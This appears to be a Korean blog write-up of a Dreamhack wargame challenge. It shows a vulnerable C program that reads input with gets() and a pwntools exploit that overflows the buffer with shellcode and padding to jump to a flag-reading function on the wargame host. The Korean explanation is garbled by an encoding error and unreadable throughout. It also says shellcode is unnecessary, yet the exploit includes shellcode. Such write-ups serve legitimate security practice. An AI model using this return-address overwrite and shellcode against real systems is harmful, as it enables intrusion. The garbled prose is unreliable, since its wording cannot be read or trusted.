๐Ÿ‘ฉ๐Ÿป‍๐Ÿ’ป ๊ฐ“์ƒ ์ง์žฅ์ธ ๋‚จ๋ฐ”์˜ค
article thumbnail

1. Environment

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

2. Code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];
    initialize();
    gets(buf);
    return 0;
}


3. Write Up

์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด read_flag ์ฃผ์†Œ๋ฅผ ํ˜ธ์ถœํ•ด์„œ system call์„ ํ•˜๋Š” ๊ฒƒ์ด ๋ชฉ์ ์ธ ๋“ฏ ๋ณด์ธ๋‹ค.

์—ฌ๊ธฐ์„œ๋Š” gets ํ•จ์ˆ˜๋กœ buf๋ฅผ ์ฝ๋Š”๋ฐ ๋ฐ”์ดํŠธ ์ œํ•œ์„ ๋‘์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— BoF ๊ฐ€ ๋ฐœ์ƒํ•˜๊ฒŒ ๋œ๋‹ค.

  1. buf์— ๋”๋ฏธ๊ฐ’ ์ž…๋ ฅํ•˜๊ธฐ
  2. ret ์— read_flag ํ˜ธ์ถœ ์ฃผ์†Œ ์ž…๋ ฅํ•˜๊ธฐ

(000 ๋ฌธ์ œ๋ž‘ ์ˆœ์„œ๊ฐ€ ๋ฐ”๋€ ๊ฑฐ ๊ฐ™์€..)

gdb๋ฅผ ์ด์šฉํ•ด์„œ read_flag ์ฃผ์†Œ๋งŒ ์•Œ์•„๋‚ด๊ณ  ๋”๋ฏธ๊ฐ’ + ret(read_flag)๋งŒ ์ž…๋ ฅํ•˜๋ฉด ๋ฐ”๋กœ ํ”Œ๋ž˜๊ทธ ์ถœ๋ ฅ

์‰˜์ฝ”๋“œ๋„ ํ•„์š”์—†๊ณ  ์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด read_flag ์ฃผ์†Œ๋ฅผ ํ˜ธ์ถœํ•ด์„œ system call์„ ํ•˜๋Š” ๊ฒƒ์ด ๋ชฉ์ ์ธ ๋“ฏ ๋ณด์ธ๋‹ค.

 

* Exploit Code

from pwn import *

p = remote("host3.dreamhack.games", 9228)

shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
#26๋ฐ”์ดํŠธ

#p.recvuntil("(")
#buf_add = int(p.recv(10), 16)

ret_add = 0x080485b9

payload = shellcode + b'\x41' * 106 + p32(ret_add)

p.sendline(payload)
p.interactive()

'Wargame > Dreamhack' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Pwnable] Return Address Overwrite  (0) 2023.02.16
[Pwnable] Basic_exploitation_003  (0) 2023.02.16
[Pwnable] shell_basic  (0) 2023.02.16
[Pwnable] Basic_exploitation_000  (0) 2023.02.16
[Pwnable] Welcome  (0) 2023.02.16
profile

๐Ÿ‘ฉ๐Ÿป‍๐Ÿ’ป ๊ฐ“์ƒ ์ง์žฅ์ธ ๋‚จ๋ฐ”์˜ค

@๋‚จ๋ฐ”์˜ค